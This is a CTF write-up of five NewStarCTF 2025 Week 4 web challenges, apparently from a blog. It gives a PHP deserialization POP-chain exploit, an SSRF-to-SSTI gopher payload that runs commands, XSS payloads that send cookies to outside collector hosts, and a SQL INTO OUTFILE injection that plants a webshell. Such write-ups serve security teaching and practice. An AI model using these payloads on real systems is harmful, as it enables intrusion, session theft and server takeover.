NewStarCTF2025-Week4-Web

目录

1、小羊走迷宫

2、武功秘籍

3、ssti在哪里?

4、小E的留言板

5、Sqlupload


1、小羊走迷宫

简单 php 反序列化,构造 pop 链即可

主要就是对保护变量的访问吧,这里采用新增一个类的公有方法实现

Exp:

php 复制代码
<?php
include "flag.php";
error_reporting(0);
class startPoint{
    public $direction;
    function __wakeup(){
        echo "gogogo出发咯 ";
        $way = $this->direction;
        return $way();
    }
}
class Treasure{
    protected $door;
    protected $chest;
    function __get($arg){
        echo "拿到钥匙咯,开门! ";
        $this -> door -> open();
    }
    function __toString(){
        echo "小羊真可爱! ";
        return $this -> chest -> key;
    }
    public function setWord1($newWord1)
    {
        $this->door = $newWord1;
    }
    public function setWord2($newWord2)
    {
        $this->chest = $newWord2;
    }
}
class SaySomething{
    public $sth;
    function __invoke()
    {
        echo "说点什么呢 ";
        return "说: ".$this->sth;
    }
}
class endPoint{
    private $path = 'flag.php';
    function __call($arg1,$arg2){
        echo "到达终点!现在尝试获取flag吧"."<br>";
        echo file_get_contents($this->path);
    }
}
$e = new endPoint();
$t = new Treasure();
$t->setWord1($e);
$tt = new Treasure();
$tt->setWord2($t);
$s = new SaySomething();
$s->sth = $tt;
$p = new startPoint();
$p->direction = $s;
echo base64_encode(serialize($p));

然后是对非法参数名的绕过,php8之前遇到中括号会被转成下划线,但是只转一次,从而保留后面的非法参数名点

payload:

php 复制代码
?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7TjtzOjg6IgAqAGNoZXN0IjtPOjg6IlRyZWFzdXJlIjoyOntzOjc6IgAqAGRvb3IiO086ODoiZW5kUG9pbnQiOjE6e3M6MTQ6IgBlbmRQb2ludABwYXRoIjtzOjg6ImZsYWcucGhwIjt9czo4OiIAKgBjaGVzdCI7Tjt9fX19

2、武功秘籍

在页面随便点了下跳转到后台登录界面,存在弱口令:admin/admin

存在文件上传点

简单的文件类型绕过

找到木马路径

调用

3、ssti在哪里?

存在 ssrf

因为是 flask 服务,我们直接读源码

将 name 接受的东西给到了 template,感觉有 SSTI,结合题目意思那多半就是有了

用 gopher 协议打

先看了下根目录,未见 flag

当前目录也没有

读了下这个 internal_web.py,确实存在 SSTI 注入

Flag 在环境变量,payload:

php 复制代码
url=gopher://127.0.0.1:5000/_GET%2520%252F%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252056%250A%250Aname%253D%257B%257Blipsum.__globals__%255B'os'%255D%255B'popen'%255D('env').read()%257D%257D

4、小E的留言板

随便注册一个账户进去就可以留言

过滤了尖括号,还有一些关键词可以双写绕过

php 复制代码
" oonnmouseover ="alert(1)
php 复制代码
" oonnmouseover ="alert(document.cookie)

"oonnmouseover="new Image().src='http://qf9t9vv2gq2vm2q9jostpeivwm2dq8ex.oastify.com/?a=' +encodeURICompoonnent(document.cookie)

可以接收到当前的 cookie,但是报告留言小 e 的不行,因为我们目前的 payload 需要手动触发(鼠标悬停)

换个写法

php 复制代码
"autofofocuscus oonnfofocuscus="new Image().src='http://y321x3ja4yq3aaeh7wg1dm63kuqlei27.oastify.com/?a='+encodeURICompoonnent(document.cookie)

报告留言即可

5、Sqlupload

问题在 getFileList.php,检查不严谨

我们可以控制 order 参数将 filename 写入到文件

通过抓包传一个文件名是一句话木马的东西上去

调用 getFileList.php,payload:

php 复制代码
?order=upload_time INTO OUTFILE '/var/www/html/1.php'

木马确实写进去了,但是无法读取 /flag

flag 需要 root 用户,但是 readFlag 其他用户也可以执行

运行程序将结果重定向即可

相关推荐
q***99425 分钟前
IPV6公网暴露下的OPENWRT防火墙安全设置(只允许访问局域网中指定服务器指定端口其余拒绝)
服务器·安全·php
p***62991 小时前
【Sql Server】sql server 2019设置远程访问,外网服务器需要设置好安全组入方向规则
运维·服务器·安全
u***u6851 小时前
PHP在电商中的WooCommerce
开发语言·php
冠希陈、1 小时前
PHP 过滤敏感词(含类库)
开发语言·php·内容敏感词
腾讯云开发者1 小时前
你相信光吗?
安全
2***s6722 小时前
给SQL server数据库表字段添加注释SQL,附修改、删除注释SQL及演示
数据库·sql·oracle
白帽黑客-晨哥2 小时前
最适合零基础的渗透测试学习路径:理论+实战+就业,我在湖南网安基地实现了
学习·web安全·渗透测试·实战项目·就业·湖南网安基地
v***87042 小时前
QoS质量配置
开发语言·智能路由器·php
安娜的信息安全说3 小时前
LLM 安全实战:Prompt 攻击原理、案例与防御指南
安全·ai·prompt
MicroTech20253 小时前
微算法科技(NASDAQ :MLGO)基于区块链的混合数据驱动认知算法:开启智能安全新范式
科技·安全·区块链